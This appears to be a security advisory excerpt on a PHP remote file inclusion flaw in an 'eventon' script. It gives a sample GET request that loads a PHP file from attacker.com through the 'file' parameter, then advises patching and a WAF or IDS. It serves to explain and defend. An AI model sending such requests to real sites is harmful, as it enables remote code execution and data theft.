How the Exploit Works

The flaw lies in the improper control of filenames for the Include/Require statement in the PHP program. An attacker can exploit this by sending a specially crafted request that includes a malicious file from a remote server. Once the request is processed by the vulnerable application, the malicious file gets included and executed in the server’s context, leading to potential system compromise or data leakage.

Conceptual Example Code

The below pseudocode demonstrates how an attacker might exploit this vulnerability:

GET /eventon.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In the above example, the attacker uses the ‘file’ parameter to include a malicious PHP file hosted on their server. When processed by the server, the malicious file gets executed, potentially leading to unauthorized access, data leakage, or even a full system compromise.

Mitigation Guidance

The most effective solution for this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately due to operational constraints, a temporary mitigation would be the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These solutions can potentially identify and block attempts to exploit this vulnerability. However, they should not be considered a long-term solution as they do not address the root cause of the vulnerability.
